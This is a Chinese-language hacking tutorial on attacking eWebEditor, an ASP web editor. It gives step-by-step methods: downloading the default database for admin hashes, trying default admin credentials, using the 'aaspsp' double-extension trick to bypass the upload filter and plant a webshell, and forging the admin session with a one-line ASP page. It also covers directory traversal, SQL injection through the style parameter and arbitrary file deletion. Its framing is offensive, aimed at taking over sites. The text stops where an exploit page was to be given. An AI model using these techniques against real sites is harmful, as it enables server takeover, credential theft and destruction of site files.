1:默认管理后台: http://www.backlion.com/ewebeditor/admin_login.asp
后台如果能进入:
可点击样式管理:
standard 拷贝一份(直接修改改不了)
在拷贝的一份里加入图片类型( asa aaspsp ) 然后点预览
在编辑器里点设计 然后直接上传asa大马.
上传后 在代码里可以看到马的位置!
(原理:因为在iis里 网站的属性里 应用程序配置一项 asa扩展名还是用asp.dll来解析的,asp也是 还有 cer cdx )
在cer cdx asa的被删掉 那么马儿就找不到 映射不过去.
可以在拷贝过后的样式 图片类型里加入 aaspsp 然后在上传 直接就可以上传asp文件
—————————————————————————– 2:下载默认数据库
http://www.backlion.com/ewebeditor/db/ewebeditor.mdb
然后分析数据库
webeditor_system(1) 就可以看到用户名和密码 如果破解不出来
可以在webeditor_style(14 样式表里
主要看允许上传文件的扩展名(s-fileext s_ingeext)
看到一个小黑客曾经搞过 多了asa aaspsp
可以用他来利用!(后台找不到的情况下也可以用此方法)
可以构造语句:
比如 ID=46 s-name =standard1
构造 代码: ewebeditor.asp?id=content&style=standard
ID和和样式名改过后
ewebeditor.asp?id=46&style=standard1
然后就是进入编辑器 上传asa 或者asp的 得到webshell
前面的1跟2说的是asp版的ewebeditor,其他如php,jsp跟asp的差不多,这里不多说.
针对这种方法可能出现的问题:
(1).使用默认用户名和密码无法登录。 请试试直接下载db目录下的ewebeditor.mdb文件,用户名和密码在eWebEditor_System表中,经过了md5加密,如果无法下载或者无法****,那就当自己的运气不好了。 (2).加了asa类型后发现还是无法上传。 应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)一句上修改,我就看见过一个站长是这样修改的: sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”, “”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”) 猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了“asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名的过滤。 (3).上传了asp文件后,却发现该目录没有运行脚本的权限。 呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以修改的吗?
(4).已经使用了第2点中的方法,但是asp类型还是无法上传。 看来站长肯定是一个写asp的高手,但是我们还有最后一招来对付他:看到“远程类型”了吗?eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的“应用文件映射”中的“asp”删除。
漏洞原理 漏洞的利用原理很简单,请看Upload.asp文件: 任何情况下都不允许上传asp脚本文件 sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”) 因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件需要过滤,为什么不同时过滤asa、cer等文件呢?也许这就是对免费用户不负责任的表现吧!
—————————————————————————–
3.eWebEditor session欺骗漏洞
eWebEditor在线编辑器
漏洞文件:Admin_Private.asp
漏洞语句:<%
If Session(“eWebEditor_User”) = “” Then
Response.Redirect “admin_login.asp”
Response.End
End If
只判断了session,没有判断cookies和路径的验证问题。
漏洞利用:
新建一个h4x0r.asp内容如下:
<%Session(“eWebEditor_User”) = “11111111”%>
访问h4x0r.asp,再访问后台任何文件,for example:Admin_Default.asp
漏洞影响:虚拟主机的克星.
—————————————————————————–
4.ewebeditor asp版 2.1.6 上传漏洞
ewebeditor asp版 2.1.6 上传漏洞利用程序
http://www.backlion.com/e/upload.asp
上传时修改此处上传地址。。。
如果你是上传的asp文件则成功后的地址为:
http://www.backlion.com/e/uploadfile/xxxxxxxxxx.asp
—————————————————————————–
5.ewebeditor遍历路径漏洞 Ewebeditor为非常常见的网站核心程序, 默认数据库为 /db/ewebeditor.mdb 默认路径admin_login.asp 默认管理员admin密码admin(admin888)
ewebedit进入后台添加样式.得到webshell很容易. 有时候很不幸.管理员把数据库改为只读权限.
但是ewebeditor后台有个小小的缺陷. 可以历遍整个网站目录. 当然.数据库为只读的时候一样可以利用.
上传文件管理—选择样式目录(随便选一个目录) 得到: ewebeditor/admin_uploadfile.asp?id=14 在id=14后面添加&dir=.. 再加 &dir=../.. &dir=../../../.. 看到整个网站文件了
—————————————————————————–
6.eweb2.7版本以下又一个注入
首先看代码(ewebeditor.asp): ub InitPara() ‘ 取全屏标志 sFullScreen = Trim(Request.QueryString(“fullscreen”)) ‘ 取对应的内容ID sContentID = Trim(Request.QueryString(“id”)) If sContentID = “” Then ShowErr “请传入调用参数ID,即隐藏的内容表单项ID!”
‘ 取样式初始值 sStyleName = Trim(Request.QueryString(“style”)) If sStyleName = “” Then sStyleName = “standard”
sSql = “select * from ewebeditor_style where s_name='” & sStyleName & “‘” oRs.Open sSql, oConn, 0, 1 If Not oRs.Eof Then sStyleID = oRs(“S_ID”) sStyleName = oRs(“S_Name”) sStyleDir = oRs(“S_Dir”) sStyleCSS = oRs(“S_CSS”) sStyleUploadDir = oRs(“S_UploadDir”) nStateFlag = oRs(“S_StateFlag”) sDetectFromWord = oRs(“S_DetectFromWord”) sInitMode = oRs(“S_InitMode”) sBaseUrl = oRs(“S_BaseUrl”)
sStyleUploadDir = Replace(sStyleUploadDir, “\”, “/”) If Right(sStyleUploadDir, 1) <> “/” Then sStyleUploadDir = sStyleUploadDir & “/” End If Else ShowErr “无效的样式Style参数传入,如果要使用默认值,请留空!” End If oRs.Close 关键的是这两句: sStyleName = Trim(Request.QueryString(“style”)) If sStyleName = “” Then sStyleName = “standard”
sSql = “select * from ewebeditor_style where s_name='” & sStyleName & “‘” 很明显的是style参数没有足够的过滤,如果我们自己给这个地方赋值的话,程序会报错的,
但接下来的一句还是让我们有可乘之机,If sStyleName = “” Then sStyleName = “standard”保留默认的还是会带入语句执行,加个单引号就报错了,如图2.[local]1[/local] 我试了好几款工具,发现只有pangolin可以注入,啊D只能发现注入不能继续猜解。 eweb默认的管理员表是:ewebeditor_system 这个表下的默认两个列名为:sys_UserName和sys_userpass 需要手动添加,
—————————————————————————–
7.ewebeditor2.8最终版删除任意文件漏洞
这个漏洞可以很鸡肋,也可以很致命,关键看你怎么利用!
此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:
‘ 把带”|”的字符串转为数组 Dim aSavePathFileName aSavePathFileName = Split(sSavePathFileName, “|”) ‘ 删除新闻相关的文件,从文件夹中 Dim i For i = 0 To UBound(aSavePathFileName) ‘ 按路径文件名删除文件 Call DoDelFile(aSavePathFileName(i)) Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = oRs(“D_SavePathFileName”)
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
sSavePathFileName = GetSafeStr(Request.Form(“d_savepathfilename”)) … oRs(“D_SavePathFileName”) = sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str) GetSafeStr = Replace(Replace(Replace(Trim(str), “‘”, “”), Chr(34), “”), “;”, “”) End Function
无语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!
下面给出利用的htm:
增加新闻